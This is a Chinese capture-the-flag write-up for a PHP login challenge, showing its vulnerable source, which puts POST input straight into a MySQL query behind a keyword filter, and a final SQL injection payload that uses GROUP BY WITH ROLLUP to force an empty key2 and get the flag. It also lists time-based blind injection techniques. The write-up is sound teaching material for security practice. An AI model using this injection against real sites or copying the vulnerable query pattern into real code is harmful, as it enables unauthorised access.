安恒周周练西湖论剑版web美男子题:巧用group by with rollup
2019年4月8日15:49:30
源码:
<?php
include 'global.php';
function AttackFilter($StrKey,$StrValue,$ArrReq){
if(is_array($StrValue))
{
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrtValue)==1){
print "holy shit!";
exit();
}
}
$filter = "union|select|from|where|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
if(!isset($_POST['key1']) || !isset($_POST['key2'])) {
print <<<DBAPP
<img src='image/img.jpg' />
<!--index.phps-->
DBAPP;
die;
}
$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'");
if(mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['key2'] == $_POST['key2']) {
print $flag;
}else{
print "Error!";
}
}else{
print "Error!";
}
通过源码可知道表名为tb_ctf
,且表内有一个字段key2
,用户通过传入key1和key2,如果提交的key2的值等于查询到的key2的值,那么就能看到flag
解题思路
- 通过提交key1,sql注入得到key2的值,再在key2中提交即可
- 逻辑绕过
Do it
-
一开始就打算用时间盲注。首先要知道时间盲注需要两个因素:
- 条件判断:
比如条件语句成功时执行延时,失败则不执行,以此来判断payload是否生效
常用if(),and or组合,^,elt(),FIELD(),select case when ~ then ~ else ~ end - 延时:
如果服务器有延时则说明payload生效了
常用sleep(),benchmark(),heavy query,get_lock()
因为过滤了
select , sleep
,所以很难同时满足条件判断和延时,所以想在这条路上走下去有点难,考虑逻辑绕过 - 条件判断:
-
此题的确存在逻辑绕过,仔细看源码
$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'"); if(mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['key2'] == $_POST['key2']) { print $flag; }
最后的条件判断中,查询的key2的值是我们通过提交key1查询到的key2的值,这不一定是数据库中的真实的key2的值,我们是否可以通过提交key1的值来影响接下来查询到的key2的值呢,答案是肯定的。
-
group by with rollup
举例:
mysql> select * from su where id =1 group by exam with rollup;
+----+---------+------+------+
| id | content | exam | su |
+----+---------+------+------+
| 1 | test | ccc | 1 |
| 1 | test | NULL | 1 |
+----+---------+------+------+
2 rows in set (0.00 sec)
可以看出,以某个字段排序就会有一行查询结果中该字段为空,所以这里我们只需要让 key2 为空就行了。
key1=' or 1=1 GROUP BY key2 WITH ROLLUP LIMIT 1 OFFSET 1--+&key2=